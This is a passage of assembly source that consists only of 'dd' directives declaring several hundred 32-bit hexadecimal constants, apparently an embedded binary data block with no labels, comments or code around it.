		dd 0EA00BA45h, 9055DAE2h, 9DE8AD48h, 62684440h,	9096B802h
		dd 0FC802044h, 0BB458413h, 0CFB85060h, 541D104Bh, 81AEC8EAh
		dd 0CCC13359h, 0D9EE0ADh, 548E5F24h, 442D8AC2h,	0DBD30E6Ch
		dd 0F4809B98h, 0F8EAAAB1h, 0E672C200h, 0BD938232h, 0A551065Dh
		dd 61A0499Dh, 0E2816902h, 4423BAA4h, 0DDAC2C44h, 0CDF180F0h
		dd 99D4D8A7h, 4B762E00h, 1E195586h, 95400CDAh, 27499D48h
		dd 0E1F4E700h, 0E0F6328Ah, 58240170h, 0BF95A703h, 33BAF0DFh
		dd 80606848h, 0E0372888h, 1332FC7Ah, 1D34B1h, 73E5836h
		dd 242462F6h, 236E640Ch, 982F1531h, 7B5F79ECh, 37EA0790h
		dd 0D02C7DE6h, 2071C1B2h, 8678174Ch, 0D10D2Dh, 0EDC8D32Fh
		dd 127E8935h, 62F30402h, 84F805BAh, 1D61BEC8h, 0BC17F0C1h
		dd 62FA448Ch, 0E5CEEC00h, 741813FBh, 33BB0037h,	6914F8E0h
		dd 19F64789h, 4CC49E3Eh, 8D604050h, 88B4F400h, 4375110Fh
		dd 37A7395Ah, 8055CA1Eh, 0F887040Ch, 580A8FE1h,	0F0BFBC50h
		dd 0C9C4051Ch, 6480CDEBh, 58FB0C9Dh, 1D874C83h,	741520ADh
		dd 0C124FA0Bh, 990BDC85h, 228C0201h, 8A60687Ch,	55DC13F0h
		dd 0AEC70074h, 67169C72h, 0B366A612h, 15505C04h, 58904809h
		dd 160027E6h, 902DDF9Ah, 4EC8AD1h, 22BE48B7h, 11674009h
		dd 3B552AA0h, 1C09DABBh, 0BC82EEEAh, 60C2C7FDh,	2A04D846h
		dd 8A63338Ch, 7931A643h, 11ACA118h, 39BE2029h, 0A08035D3h
		dd 0ED7A2FE8h, 0C97F9B51h, 0FCCDA600h, 558E5C73h, 0CC30E958h
		dd 0E89F89AEh, 0E4265ECCh, 0BF03FFDBh, 12908h, 22AFED59h
		dd 0A3A77FABh, 5EBECA0Bh, 0C5B42040h, 3C8FC46h,	0A6010AD5h
		dd 3900E4C9h, 42ABDBFh,	262DFB32h, 886515h, 0AC7F8F07h
		dd 39066654h, 967BD223h, 22BF3A58h, 3864ED10h, 2DFA9395h
		dd 0BE07A420h, 417E005Ch, 0EC983806h, 24A02F82h, 3101AA55h
		dd 0A7A372FEh, 99F26AE6h, 4D03618h, 0E5E33912h,	80A4A7A4h
		dd 80A59ED7h, 0D5E29313h, 0E623Bh, 0DC942961h, 9B6D407h
		dd 4CD05789h, 7180408Fh, 4A47EF09h, 31872500h, 23E71058h
		dd 0C51324DAh, 0A9B93034h, 9800FEFh, 7AD01440h,	45229CCBh
		dd 6123B0A0h, 5A11A165h, 26102CC6h, 1FA83FCCh, 2D340457h
		dd 0C5189001h, 601E1EDh, 4EC6BD8Ch, 899D5E4h, 0E4404171h
		dd 352E12E1h, 3432066h,	41C62Dh, 0F2B8D1F8h, 0F9F667AFh
		dd 0A8A538h, 0C2424181h, 91493ECDh, 1CAB0060h, 0DF838CF1h
		dd 0A804BD02h, 0C0E19A80h, 0A3EAB6FCh, 2FC5F0A4h, 5A435CB1h
		dd 7A9D2407h, 1DE14FE1h, 228D2870h, 0A8170060h,	2D6AB78Ah
		dd 32AD2E42h, 4E098020h, 9D0C9FFAh, 17C4F000h, 0B413EE25h
		dd 5BD9008Fh, 0C1453CD2h, 9A07AFECh, 0A4576FB6h, 636D1842h
		dd 1E20BBE1h, 2566808h,	0EC9315B3h, 424C8846h, 96DF00C0h
		dd 6AB4EFC8h, 84E243h, 0BC9726EBh, 0A7AE7FA5h, 4500F2B0h
		dd 18DD7A2Bh, 1857A9D8h, 0A9E6AF02h, 821F7C03h,	74400B50h
		dd 0C40C8132h, 0B856E6E2h, 6A8403E5h, 8B0D825Bh, 7C47BA98h
		dd 68F4780Fh, 0D8E79F8Ah, 0F9D4F551h, 628C0091h, 0BE410F92h
		dd 0A260FDAFh, 0D108B330h, 0B9273EF2h, 0BD0F723Ch, 50987D10h
		dd 0B2306495h, 0EF2D2849h, 0CB18C773h, 4B8A7041h, 4C00CDC5h
		dd 8CD70B6Ch, 6F453E4h,	1AA8FDA2h, 8F1861B9h, 0E9517785h
		dd 16200012h, 0D60518B2h, 0A1FE9153h, 73C4AF00h, 2DB9471Bh
		dd 0BA38C03Dh, 0F531AB79h, 0F81D4E00h, 0EFE83833h, 0B6920122h
		dd 51B27F0Dh, 0DD3D7080h, 8184113Bh, 33AAE1E9h,	0FCFC2A47h
		dd 1640ECDh, 7B608E4Ah,	7DB8A039h, 0F243E700h, 0F19E6D2Ch
		dd 0FD203A44h, 84036B3Fh, 0BAF68AB3h, 0AC74B129h, 0CA78038h
		dd 0C6FD0FA2h, 0BE3800D1h, 4F6EC3DDh, 0B70F0A01h, 6267EA42h
		dd 872A4E0Eh, 55076F8h,	1C52E71h, 0FD797519h, 0D80734ABh
		dd 23074233h, 0D5943B40h, 5E280CEh, 37399CBh, 4CBB438Eh
		dd 1800340Ah, 44ABE874h, 0E1280E3h, 0FFE00442h,	0AAEFC69Fh
		dd 110F1059h, 0E0242E10h, 2A097797h, 0CF08C696h, 7101205Bh
		dd 622430B3h, 31E01935h, 2505068Eh, 10EFADE3h, 0FE36F800h
		dd 0A3AA2EE7h, 0D9C231D0h, 80EECE08h, 0FE350720h, 1E068755h
		dd 8FF57810h, 6FC0B549h, 0B9442166h, 6AC933Bh, 0AAE9E79Eh
		dd 0AEE10059h, 99F3A01Dh, 0C901D37Dh, 9EAB1B49h, 6530E492h
		dd 0C4111804h, 2B0F69B8h, 0C118ED60h, 0FA93D568h, 0CC7400ABh
		dd 6B82958Ah, 730F6D26h, 0A0E4940Dh, 2DF96E85h,	4C05E64Bh
		dd 6068E21Bh, 0DE5D0A8Ch, 9F498080h, 0FA1F4E9Ch, 76E1F525h
		dd 81381BEEh, 0C5ECE780h, 0F7F87C13h, 0F6106607h, 321B246h
		dd 0EBEC645Bh, 1EA0CFF4h, 9E18A053h, 0E36901C8h, 0C1D666D5h
		dd 1309148Ah, 80B563D2h, 92251209h, 4BF50062h, 17C3101Dh
		dd 4F632DACh, 0E82934E9h, 6C0E2AA6h, 0E3487062h, 490055ECh
		dd 4E6EE95Eh, 5FDCF6h, 0DD7B8364h, 291A959h, 1C1A9C13h
		dd 0D9421C04h, 3D830898h, 0FF901D30h, 9FCEC879h, 402F9C10h
		dd 50D7B690h, 30089C5h,	0C9E7E635h, 39DB7C12h, 0AD9707A2h
		dd 2E030325h, 687BA7C8h, 4867E843h, 228FB523h, 0EA20D834h
		dd 2CBD2F1Ch, 0EE5E32h,	0E6F03697h, 0A201242Ch,	72652A2Bh
		dd 4420DACBh, 0D0C20391h, 0F50834AAh, 5EE5401Dh, 83E82EC0h
		dd 0C09F91D6h, 0A2737D78h, 0AB2CEFF0h, 22143010h, 9AB300B4h
		dd 3BBE2DE5h, 9C5148C6h, 0A855939h, 39BC1F1Bh, 5CB5CC20h
		dd 42CE486h, 0AC4EF290h
		dd 5898902Fh, 690072E3h, 8A3C67C7h, 0E5D9D3h, 80791A86h
		dd 6DB77B6Ch, 4C085B24h, 0C1CD9E80h, 2BC2D28h, 0E2ADD9E6h
		dd 8CA0D07Ch, 0B7E9714Bh, 6737C61Eh, 51802464h,	0F66D1D5Ah
		dd 0F18301B0h, 0C72C31A0h, 328080E7h, 61C87934h, 0D35B0062h
		dd 8FABEED5h, 0E493F605h, 66FE8B01h, 3C0EE22Eh,	50FE0E6Ah
		dd 8B30C09Bh, 0C4A8790h, 86E34801h, 0C430E089h,	218A51AFh
		dd 5F7EE08h, 73C2E536h,	16885418h, 900B6114h, 90256480h
		dd 4306BD1Ch, 4884ACFFh, 7425EF08h, 0F90B530h, 6313A508h
		dd 58301B69h, 2F393081h, 0E0244842h, 2E131Eh, 5C2839A3h
		dd 0D1925198h, 9028687Fh, 0D904B870h, 2BB158B3h, 99342520h
		dd 0B77CF303h, 4120F85h, 47C35CA9h, 5E2C81B1h, 541B604Dh
		dd 0D7538C05h, 0BC2323C9h, 0A0B94C75h, 4BD27602h, 14417162h
		dd 7E74F840h, 0AC447498h, 0FECD0A91h, 85B47B3Fh, 40075D58h
		dd 1AE4DFA8h, 51783ED3h, 2224EE01h, 0C69BB930h,	925896h
		dd 0A8E212F9h, 4C995DB7h, 2CEF1883h, 18F6827Ch,	58C0A8E4h
		dd 96EC617Ah, 50AE0029h, 37BF0F6Eh, 3C93C54Ah, 891A670Ch
		dd 0D37A06h, 0D03A56B3h, 8A85B237h, 20F10524h, 1BFE1AC0h
		dd 5A18FB21h, 1EB0440h,	484DFF08h, 2A92550Eh, 0A2C56EC2h
		dd 0A091C4D4h, 762E1B80h, 2DCE00F4h, 126AAB32h,	0E6143A01h
		dd 0A04CCAh, 7548F57h, 0F4A9981h, 0D53F2EF4h, 8A001408h
		dd 0C528B7C8h, 0C02232DAh, 8CA0E3C8h, 0A785DEBEh, 25EE3C00h
		dd 0F6A840F0h, 0F92C0074h, 0C6641DC5h, 9F2437D4h, 0FF933055h
		dd 26235C2Fh, 2E46CA00h, 2E9F902h, 6FCCD874h, 0C485F0Ch
		dd 0E4008211h, 0EE254CC5h, 78C68EFh, 9C12D06Ch,	0E2C9D0D2h
		dd 2C07AC2Eh, 33A2CAB2h, 0A044B682h, 4DD78AA4h,	9A71DE1h
		dd 2A140135h, 8F71109Eh, 0CF59BD92h, 6DC220F8h,	0D3B61Bh
		dd 0AB548447h, 0B4E7B8D7h, 5E0EC704h, 74C060DAh, 0FCFE55CAh
		dd 357E845h, 0DF99EC9Bh, 15F86AD9h, 0FF307D28h,	68E04081h
		dd 6C5600BEh, 99DCC81Bh, 0D1B0F361h, 7A00867Ah,	0CC2F539Ah
		dd 480EE7E8h, 1CC7F00Ah, 5BBD7290h, 0EB105E31h,	0B000904Bh
		dd 1C30B6A7h, 7F8EDFh, 15806268h, 9EAE6E89h, 0AC713F16h
		dd 0EF352404h, 0F12F1F30h, 77435FF6h, 0EC60D922h, 0C4050F54h
		dd 0D7F53B65h, 205971BBh, 55225AECh, 976310FBh,	2008FD5Ch
		dd 863E7880h, 6E3089A0h, 482AA226h, 3E5CC93Fh, 80EBA8E6h
		dd 0B889D724h, 3409B880h, 5C2F2667h, 73220C08h,	0C6B4E603h
		dd 0E9CA7Ah, 0A580E0E0h, 7C061205h, 17C7343Ch, 0A800C323h
		dd 1F2F85E8h, 1705F431h, 7F9ABE0h, 0F358FF6Ah, 18A6366Fh
		dd 12DAC60Ch, 4D5C5028h, 187B0C0Fh, 0F05F2650h,	9701CC1Bh
		dd 0B29C68BCh, 30240E20h, 8690D10h, 87E85D47h, 0C002636Eh
		dd 73D10417h, 88402722h, 32CE789h, 0B235AD09h, 410AF240h
		dd 84EC2EA4h, 0C104E094h, 0E87E82Ah, 6ABEAC8h, 2B6680BCh
		dd 1928D876h, 1D1FB8F0h, 2AC3FFACh, 0A1A4D7B0h,	68248F38h
		dd 314067D0h, 6DCF42B6h, 9CB37DE0h, 2E113F01h, 0F32D31B0h
		dd 2A5B43ECh, 18288712h, 19F1AAC2h, 2C2A36E0h, 0BD0CC03Dh
		dd 0A9426205h, 29A3E820h, 36059ACh, 4C887477h, 862CA802h
		dd 0BDE573h, 0A460F910h, 0F9058D0h, 800B6F66h, 19999FAEh
		dd 0CB13F677h, 0C82FA79h, 7CAF856Fh, 6484BDAAh,	0B81CC86Ch
		dd 39D0BC0Ch, 29421823h, 1E84CD2Ah, 46AC4C80h, 0D8050340h
		dd 0C627737Ch, 0B7A14804h, 2A33E83Ch, 0F85649C1h, 0D6E1715Bh
		dd 7E640038h, 9BAC5807h, 0EEBA1D06h, 1812959h, 3877BCE8h
		dd 0BDDA0820h, 96C70030h, 0FBE92D0Bh, 50EE50D9h, 25D13016h
		dd 872FC739h, 74ECB71Eh, 0CC4DD6CAh, 9950C981h,	109D42AFh
		dd 0C82880BFh, 1582D539h, 61BC8C52h, 9880E322h,	3B7A5F8h
		dd 645D19EAh, 56C038C1h, 63309CD0h, 9A1711A2h, 0AB151F27h
		dd 87100DEh, 9468AFD5h,	113069D4h, 7E00DAC4h, 4577F69Bh
		dd 3F553BB9h, 0F0FC00A0h, 6330296Bh, 0C47589E2h, 0C149185Bh
		dd 245D1036h, 6C02589Ah, 0F4BA440Ch, 0E2BC40FBh, 0A075FE62h
		dd 0EB09684h, 386EADDEh, 0B830929Ch, 9B840145h,	4F92295Fh
		dd 40357195h, 0C148ADF0h, 5F8C611h, 3B0247C8h, 0A208E725h
		dd 412C719Ch, 2761C410h, 83E3C851h, 517F7C62h, 50205465h
		dd 0BC985001h, 0A5848A36h, 2D908165h, 0B840806Eh, 0AD244B53h
		dd 73620C22h, 2CB0ABB9h, 0C166309h, 810A9F5h, 76040CA9h
		dd 7844C023h, 6D8E20E1h, 232B80F2h, 4E47125h, 38602F70h
		dd 21231DFEh, 444081Ah,	0FE1F0501h, 1DD43EC1h, 4901240Fh
		dd 0EAA480E8h, 53EBA0E8h, 0CFAC8500h, 11FA9B5Fh, 84C500F3h
		dd 1D168CEDh, 3B2668BDh, 916ACCCh, 2423542Fh, 93518900h
		dd 1DE847C5h, 81BB6EDAh, 8FD51CADh, 4AC040AAh, 0F1289974h
		dd 0DB099017h, 82768250h, 72095594h, 12A46D0h, 2112FE37h
		dd 0E80CAC02h, 1E06F9C0h, 0EEB27CFEh, 0F25F0050h, 0C6752386h
		dd 130560B7h, 0FF3CB174h, 241A3804h, 0F31D918h,	0EC944455h
		dd 6700CF33h, 0DDFADB9h, 0EC4215C2h, 7AF30074h,	7CFDE0B3h
		dd 14593E7Bh, 71072224h, 2DEF00F0h, 0AFACFED2h,	3B0A180Ah
		dd 0F8DB8193h, 89A8E204h, 0F20270A3h, 107C8AECh, 1B20001Ch
		dd 0BAB874EFh, 8C0136B9h, 80511342h, 2C65A2A3h,	40B31040h
		dd 1061614Eh, 0F8532E2Ah, 41007EDEh, 0AA723865h, 0A9415A4h
		dd 0CBBAA859h, 0F04F00EBh, 0C53F90B4h, 9F4B6900h, 6DAF0DB6h
		dd 0E04E00F7h, 523496C3h, 40002239h, 13A258D1h,	0ABC180h
		dd 69D2BA98h, 0FAFD9DB8h, 492CC2Bh, 23B99570h, 0F1639D33h
		dd 3989E0BFh, 8E0F8BEh,	0C722B8B6h, 70F1CBFh, 14FAFF08h
		dd 67311C17h, 8FBF09A0h, 15627038h, 0DAF87020h,	706CA63Eh
		dd 7B75210Ch, 0D93CD163h, 44EE5009h, 54C2318h, 78CC6974h
		dd 50B319BFh, 0D87F1C92h, 85871071h, 0B45059F9h, 60211809h
		dd 844EB97h, 5BF0460h, 80F0CA96h, 0C90B1944h, 2809A309h
		dd 0FB391701h, 89595E1h, 0A0700C09h, 6366E414h,	0F0159114h
		dd 409B18E2h, 80502CC5h, 0D1A13700h, 5CDE2970h,	2B4C2438h
		dd 1702011h, 0B0BF464Ah, 0E173B774h, 2109B44Bh,	0D8FC043Ah
		dd 1085C331h, 0B022E6E4h, 763F5E04h, 6928C0CBh,	0EB032118h
		dd 176AEC48h, 0C74103B8h, 2F77E03h, 247166D9h, 1519D260h
		dd 86380EFBh, 7C90698Dh, 6012F059h, 0D7C849C0h,	0FEA0C93h
		dd 0F9859B37h, 5DDD9222h, 5AE29500h, 2C0B3728h,	0BC080011h
		dd 872C0AE6h, 0FA18E632h, 3093E369h, 0AC480D74h, 1C00A555h
		dd 1D73F9D3h, 0C0B83CF2h, 0D7BF1508h, 0A40C88A2h, 0A0C6F3B0h
		dd 3CFE307Ah, 583D41A9h, 43087B63h, 4E80BFEFh, 0D9E49168h
		dd 0A44648C1h, 0DB0B3451h, 0A40D872Bh, 8BEDCEB0h, 0D8FF0E7Ah
		dd 28607122h, 9B0CF0BEh, 7EFD8000h, 8DBBD769h, 0E7E89851h
		dd 0CCB9D981h, 0C6E4DA33h, 0F0EB8C81h, 0E800DFD8h, 0B49AD914h
		dd 3099AC92h, 53899B1Fh, 5B78E2D5h, 0F60C7A00h,	38464EFFh
		dd 187B7167h, 28972C1Fh, 9814F779h, 286065F4h, 800088CAh
		dd 0B0BA0314h, 0E7394Fh, 0B4274D0Bh, 0F4969435h, 0E131856Ch
		dd 4608C19Ah, 0E2F8BABEh, 0DECAD040h, 579D6700h, 19C32A3h
		dd 66693EC4h, 0C6214830h, 7A0698B8h, 4FB9CE39h,	40831DA0h
		dd 4A3D4A68h, 41D309ACh, 811CF805h, 0F0DCED3Ah,	98A08F40h
		dd 667A6E6Bh, 2B38B348h
		dd 10B0A87Ah, 78DF6996h, 30E309EAh, 6023CB40h, 0C1017D90h
		dd 0FCF0A780h, 0B84A59AFh, 0C8EE8C10h, 24DD84FDh, 463200C7h
		dd 0E0691E18h, 79770045h, 51A214E9h, 0E001F396h, 7E0CC0EBh
		dd 7980AFFEh, 28732BE2h, 0B00085B4h, 4ADA5196h,	39EED3Bh
		dd 68B8FA66h, 0B48043FBh, 0E030E27Fh, 182DC87Dh, 6E95004Dh
		dd 493D5371h, 0CFB09701h, 7BFEA080h, 8070B9C0h,	0CABEF3C9h
		dd 16B8C010h, 15AC4207h, 948334C7h, 910EDD39h, 824B8BB3h
		dd 4A48616Eh, 6DD802F8h, 0A1874367h, 8C4A44E1h,	55EA4070h
		dd 0E641F57Dh, 0C71A0C23h, 1C823162h, 18404AB0h, 30931458h
		dd 4B59C986h, 852CA028h, 7D603C73h, 81404C50h, 4363C166h
		dd 0F1103D60h, 6E00B32Ch, 0E2903B4Bh, 240070A3h, 43158F62h
		dd 69761D87h, 8C984094h, 53066DCDh, 9E908C29h, 4D1D3119h
		dd 10B38329h, 99BA6DE5h, 0E2150458h, 9488817Ch,	0BE585033h
		dd 9C6490EFh, 8C60A890h, 0E9B85BB0h, 992D5100h,	0E689900Ch
		dd 806E6EE5h, 7C4EBEE3h, 0FD82B006h, 4860D596h,	4F0F8C74h
		dd 1DFD91FAh, 3B8F1F7Dh, 0B9E279E0h, 0E3377130h, 0F3D77120h
		dd 0F1E00299h, 0BFEA1097h, 0A87AB0A1h, 5C903439h, 0B09B602Ah
		dd 0ADB3CD07h, 0F860C8F0h, 0F31E5h, 0D9E8E2AAh,	948213F5h
		dd 0C7EDC24h, 0F8CEB15h, 869AB3Dh, 8775437Dh, 9149ACE0h
		dd 0FA88254h, 1E78524Ch, 8177D89Bh, 0BEAFCFB1h,	4EA60A8Ch
		dd 4C39B910h, 546182CCh, 466A1F8Ch, 0CBB7FC8h, 62BDFD52h
		dd 0BE7B2210h, 0BE253D3Dh, 86661498h, 76512298h, 0B51C07A6h
		dd 12F30BBBh, 4CC8D015h, 6F0093B1h, 0FC9B4A87h,	7CA92D0Dh
		dd 92C20582h, 419ACB85h, 0FEB1D388h, 0FCA6CD4Ah, 5C660894h
		dd 213608h, 0FCD5ED73h,	88E08CD6h, 92D40C00h, 0FA1A81B8h
		dd 0E45E0EFDh, 0DB637F17h, 0D8E0B2BCh, 6C620BEBh, 40CEA018h
		dd 0CF43E90h, 81B7644Dh, 2F063359h, 99E6F2BCh, 0D67D0011h
		dd 0A31A9354h, 12399FB4h, 5891F40Bh, 5425D400h,	0AC6C63h
		dd 42023D69h, 0D87B273Ch, 0A9B86A54h, 0BE00B572h, 0F8293F9Fh
		dd 63BD2C80h, 0E4F0B009h, 414D78C0h, 8E3FC40Ah,	0AE8888EEh
		dd 0FC2C60D0h, 5E21CBBBh, 529168h, 0ABD54DDAh, 1D7B144Ch
		dd 0C03368B5h, 862920FAh, 0B03881A4h, 0F7800719h, 46FF9217h
		dd 79A1B3DCh, 0AB540059h, 48C193FBh, 0C674DAE8h, 0A221A460h
		dd 0B75475h, 7F623FFDh,	17AD2015h, 9881B928h, 57E5460Ah
		dd 1C1DA47Bh, 476FD047h, 181443B0h, 3852C1Dh, 0A15B00F5h
		dd 0CEE1987Dh, 0A60071E4h, 76D12EBCh, 0F1586Dh,	0CDE61074h
		dd 775BFB7Eh, 0DE0CC00h, 0B07DF51Dh, 321C1E69h,	0FCD1C327h
		dd 11B0DD2Ch, 0D383106h, 16BD45h, 39CD1E5Eh, 2DA2D38h
		dd 0DE4B3227h, 209EBBA1h, 44C61810h, 0E4F81DDh,	80D04B6Fh
		dd 83592F30h, 7BE2441h,	66CD5B99h, 2175469Fh, 0EBB89800h
		dd 0F390BA31h, 5A7C013Eh, 4F6E8FC4h, 302448FDh,	24468308h
		dd 0CAD3C2D6h, 0EBB78100h, 0D1ED00ACh, 133D8384h, 0E13DACEh
		dd 500AFD3h, 0CCE988DEh, 0B7C70034h, 3DB39043h,	27EC281Ah
		dd 12D04F00h, 152F0A52h, 262B075Dh, 462A05BDh, 6B1F219Fh
		dd 0CE000AEAh, 0BD38BA6Eh, 0B87C00DCh, 43582A47h, 0EB02DB54h
		dd 0E527334Fh, 80609F51h, 912A17C6h, 831D1031h,	0FD5E2BA1h
		dd 6D8AE69Dh, 5103ECE0h, 34DA23Eh, 29760958h, 10E64F4Ah
		dd 0E6888716h, 2BE97507h, 851EC545h, 0E215E18h,	51DD0011h
		dd 0BC9C5395h, 6D4872DEh, 0C1670C20h, 0A538E956h, 604EE48Ch
		dd 18B59C85h, 18ABA1EEh, 6A2AAC51h, 6F7A8048h, 4C586C1Eh
		dd 518E705h, 6033F1C0h,	0A1260E24h, 0FB80F412h,	5E803C32h
		dd 0A4C77500h, 60185DD6h, 6F74A502h, 8634FA8h, 510BF036h
		dd 0C9D70041h, 7783DCB4h, 0D87B606Dh, 52C5D4A0h, 0CD56F300h
		dd 0B031FF61h, 819F4E7Eh, 0EC44B530h, 0FD128DF4h, 18081F16h
		dd 0AF9C01Dh, 95461558h, 70D4E610h, 0EF0A7100h,	421F4D80h
		dd 372707D6h, 218FB34Ah, 83451654h, 0C45DD2D0h,	4F901E46h
		dd 17A4E7h, 0F5EB1298h,	0A150EFCBh, 0E001329Ch,	914A3DD6h
		dd 0B42055D4h, 8A608848h, 98CC6C2Ah, 2A863700h,	6AE899B2h
		dd 0A8E148C3h, 2C30C39h, 24F8EB9Bh, 8E0E1CCEh, 20228352h
		dd 0A34EDA44h, 82FF3A33h, 970041EBh, 384B24CAh,	0DF7F5200h
		dd 117D07C6h, 46020031h, 0A0C93261h, 0D9C0437Ah, 87B19694h
		dd 14C407B2h, 0A0991F3Bh, 0E0F14A42h, 9E280390h, 8858B8EAh
		dd 5774078Bh, 8282693Bh, 512C6133h, 83E46049h, 0B62410F2h
		dd 2174CC9Eh, 0D10B008Dh, 0C4935AF5h, 41FA76ABh, 90F04C92h
		dd 2484306h, 31A56Eh, 5FA63ED6h, 63C4DD3Fh, 0BD889E0Fh
		dd 0AC0CE3E3h, 80D0D4F2h, 5FE14Fh, 47D67CA1h, 868842E5h
		dd 0AFF7F80Ch, 420100Eh, 38BE5FD8h, 11A88CB8h, 0A5D178Ch
		dd 1C3A1554h, 3DE884h, 710A952Ch, 0D29400EAh, 0B516CB0Eh
		dd 41C05B29h, 3F2FFEC3h, 656A00C4h, 0FFEA5813h,	0F80C0EEBh
		dd 29422212h, 847615h, 0BD58E303h, 1BE48539h, 0B888F60Fh
		dd 0C0498074h, 4CCA98DEh, 0D2029BE5h, 0DD1E42FBh, 0C24FC440h
		dd 557CBBB0h, 22960D14h, 89560360h, 90BB6104h, 1D6074Ch
		dd 9DD946Ch, 21E24171h,	0E457E500h, 5114E3AAh, 0DCDC60A0h
		dd 24478342h, 8A001C2Eh, 853EEBB6h, 48864FC3h, 42808CC5h
		dd 0B86D3C04h, 224E3D00h, 136CDFCBh, 7216127Dh,	23102F6Eh
		dd 0F8400075h, 3721F744h, 5C7D3C07h, 0A1C95066h, 0C590C354h
		dd 73C2FC48h, 81D603A9h, 5FC4F803h, 0DB359900h,	0C2857872h
		dd 46E40004h, 5DC8B184h, 0C31828CBh, 50283D1Fh,	43A60995h
		dd 0DC84B88Bh, 0DC13609Ah, 116D10A8h, 8259C82Ch, 92DD1D61h
		dd 3E056A60h, 8BEA50C0h, 7F55340h, 34EE6488h, 2A80D05Dh
		dd 24189C59h, 32C939FDh, 0CF6412A7h, 383049E7h,	9F886497h
		dd 7D306027h, 90907A6h,	865AFDB5h, 3A14534h, 30247BA7h
		dd 100A7633h, 9C28CEB6h, 1AD6C380h, 16FDFC07h, 22518C88h
		dd 0D8B00290h, 9E81EB7Dh, 0B4884818h, 0C3EB07ACh, 50885815h
		dd 0A2FB34C9h, 2186A4Ch, 4E9DCAE9h, 0AB64C1A6h,	5BE00E15h
		dd 0EFC6C20h, 0AA15F351h, 14C82675h, 0D870D0h, 4DF4DA65h
		dd 70AC22B0h, 60290F6h,	67BCC741h, 0E700E85Fh, 9732CCBFh
		dd 0D0C478h, 0AD4065FFh, 4FF7D6D1h, 42129D7Ch, 0EC2046F0h
		dd 0DDE7ABh, 0B0760811h, 0E8BB3798h, 0A070F600h, 571D861h
		dd 1ABB0C9h, 0CBF0D3D6h, 625AB0D2h, 8ACF00BCh, 0E2F3177Dh
		dd 736F0062h, 0C57B97D5h, 72031930h, 0E6661604h, 0A7A4A1B1h
		dd 504241E0h, 6EC840h, 0CAE0E5B6h, 38032DF4h, 43F248h
		dd 2F33BF78h, 0D8D750h,	149B621h, 10BCF415h, 40971905h
		dd 0B800CBC4h, 0B8264DCFh, 83CA0146h, 9872238Dh, 9DE0C478h
		dd 7F4EAB00h, 0A6EFF60Ch, 4D863D7Eh, 805AEA9Bh,	7DFDDBE0h
		dd 43E85BF2h, 37E6F503h, 90023624h, 93C24Ah, 0A6EA779Ch
		dd 120BCE7Ch, 90491800h, 34F4540h, 8ACB006Eh, 0DADEC85Dh
		dd 1A0060BCh, 0B9B8FB95h, 0C6CC61h, 6DDF17F0h, 0CD747F3Ah
		dd 58FD3B00h, 7C4A3FDBh, 464F1DC9h, 0D480C786h,	0ABF881D8h
		dd 88EAE745h, 164AD840h, 70074EE2h, 0D89D3CCEh,	90F269FFh
		dd 0C9C4D4Ch, 497BCCF9h, 8E01F4C0h, 0DA700B6Eh,	0C0407DA4h
		dd 2530D63h, 0E0186F35h, 6009048h, 0EF9221h, 0E975ED33h
		dd 57FD8AB9h, 0B1950B0Dh
		dd 6DE48099h, 0BEC0C00Dh, 0CF15FC3Ch, 9B5B7A00h, 6A8DE8A2h
		dd 0A6670093h, 1A2B99F1h, 5401987Dh, 6B641D03h,	2FF41325h
		dd 0ED77D3Ah, 2394DCCEh, 88FE18A4h, 0E700AAE0h,	64BEC833h
		dd 0F74885Bh, 0DAB0DCA4h, 0FBE002CEh, 0A517AB90h, 78ACFCF1h
		dd 202D2324h, 9D0610A4h, 2413062h, 7F746E15h, 404068B4h
		dd 0E501BCF0h, 8D1A0EBh, 32201ACFh, 0CA6C0090h,	0C664B0F5h
		dd 0F904EFA6h, 0F441FE5Bh, 0C82E0080h, 6C010006h, 472919DBh
		dd 0D7138669h, 3700E848h, 79F6A0A3h, 3D409250h,	0B480E58Ah
		dd 0ED036CBCh, 0C13DC3B0h, 80A4BE10h, 0DE5273FCh, 77237434h
		dd 0B4300E8h, 404D0D8Dh, 5A78CE30h, 77564A07h, 1B20292Ch
		dd 0CE12E2DBh, 9424EC40h, 30F8B06Bh, 50EE0100h,	39C8A963h
		dd 0F5AA00FDh, 64DC5DE8h, 469086E4h, 3A2428E8h,	5B84203Bh
		dd 0E4C2F229h, 0E6B530A0h, 816DBA08h, 4DE86E3Dh, 0DD07E700h
		dd 0E85677h, 0F2982F3Bh, 64AF7F5Eh, 4C5F8B26h, 4A118CA4h
		dd 555C4500h, 0A88909DAh, 0D8424700h, 0F9B96916h, 0EF77133Dh
		dd 0F0B44027h, 0C2508FA6h, 433B790Ch, 0B20409C3h, 0C100918h
		dd 0CC0EB785h, 1DE6FCA0h, 5B180FB6h, 99C14E3Fh,	0D5E207B3h
		dd 618AC0A2h, 6327A83Dh, 0AFC0214h, 1CED1559h, 0D347900h
		dd 0B4636A61h, 2C19505Ah, 0F32E0F72h, 9E029C2h,	39CA64B8h
		dd 0DDD5941Bh, 9DA4A8C0h, 0DBDA27BCh, 4F06800h,	4258950Eh
		dd 883D2AC2h, 61F66800h, 0C7582A22h, 857C3C5Ch,	79D6D24h
		dd 93CFBA2Fh, 2028F1F4h, 714EAD0h, 0E020DAADh, 865EA1C9h
		dd 0AD760215h, 0DC1480E8h, 8C88C353h, 1A96A894h, 6CAACC01h
		dd 7C304565h, 0B7F0A09h, 9DE0406Fh, 16E7C026h, 0FEB86854h
		dd 0F3DCCC00h, 0BACE9549h, 0D2250CE5h, 4D51A330h, 74B5B600h
		dd 0C9FA664h, 63C1007Dh, 0C759E1C8h, 60B053C5h,	6604D0A1h
		dd 0AF801E0h, 2A0D157Dh, 0FDA12828h, 18AAF410h,	9267B900h
		dd 0CAC4663Ch, 0D7E28032h, 0F8F7C876h, 0EF005E3Fh, 2F151D9Dh
		dd 0F1D178h, 3404B257h,	0D3E6CCEDh, 946D7729h, 0D31873D1h
		dd 6EFB900h, 27AE66Bh, 13C61CB5h, 0B47C4B6Dh, 8D00C88h
		dd 0D91E4ED5h, 6CA61E82h, 2A64E46Dh, 0AC416Fh, 0ADD18F1Bh
		dd 72B4C2E8h, 47982160h, 17B9FE16h, 3A27DA20h, 0F3C2374h
		dd 0A781B168h, 80502D97h, 0E8DED748h, 75BE717h,	62C340F7h
		dd 0A8556646h, 0A63DA203h, 74DFB51h, 0D77DF510h, 16A3E37Fh
		dd 0D90460F7h, 0C50057E6h, 0B30D9C69h, 0FBE9755h, 5ECEFA29h
		dd 3626FDh, 0F3F1C446h,	0BF00D714h, 0A2A594ABh,	0D34249h
